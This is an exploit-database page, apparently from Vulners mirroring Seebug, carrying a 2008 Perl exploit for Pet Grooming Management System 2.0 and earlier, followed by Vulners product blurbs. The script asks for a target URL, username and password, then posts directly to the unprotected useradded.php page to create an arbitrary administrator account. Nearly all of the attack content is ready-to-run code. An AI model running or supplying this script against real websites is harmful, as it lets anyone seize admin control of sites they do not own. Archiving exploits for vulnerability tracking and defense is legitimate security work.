Lucene search
K

Pet Grooming Management System <= 2.0 Arbitrary Add-Admin Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 10 Views

Pet Grooming Management System <= 2.0 Arbitrary Add-Admin Exploi

Code

                                                #!/usr/bin/perl

use strict;
use LWP::UserAgent;

print &#34;-+- Pet Grooming Management System &#60;= 2.0 Arbitrary Add-Admin Exploit -+-\n&#34;;
print &#34;-+-  Discovered && Coded By: t0pP8uZz  -  Discovered On: 15 MAY 2008  -+-\n&#34;;
print &#34;-+-  Script Download: http://sourceforge.net/projects/petgroom/       -+-\n&#34;;
print &#34;-+- Pet Grooming Management System &#60;= 2.0 Arbitrary Add-Admin Exploit -+-\n&#34;;

print &#34;\nEnter URL(http://site.com/pet/): &#34;;
	chomp(my $url=&#60;STDIN&#62;);
	
print &#34;\nEnter Username(create your admin username): &#34;;
	chomp(my $user=&#60;STDIN&#62;);
	
print &#34;\nEnter Password(create your admin password): &#34;;
	chomp(my $pass=&#60;STDIN&#62;);

my $ua = LWP::UserAgent-&#62;new( agent =&#62; &#39;Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)&#39; );
my $ob = $ua-&#62;post($url.&#34;/useradded.php&#34;, { &#34;name&#34; =&#62; &#34;admin&#34;, &#34;user&#34; =&#62; $user, &#34;pwd&#34; =&#62; $pass, &#34;level&#34; =&#62; 1, &#34;centerstatus&#34; =&#62; &#34;a&#34; } );

if($ob-&#62;is_success && index($ob-&#62;content, 10) != -1) {
	print &#34;\n\nUser Added Successfully! Login to: $url\n&#34;;
} else { print &#34;\n\nUser was not added. Username may be in use, or site isnt running PGMS.\n&#34;; }

# milw0rm.com [2008-05-15]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
10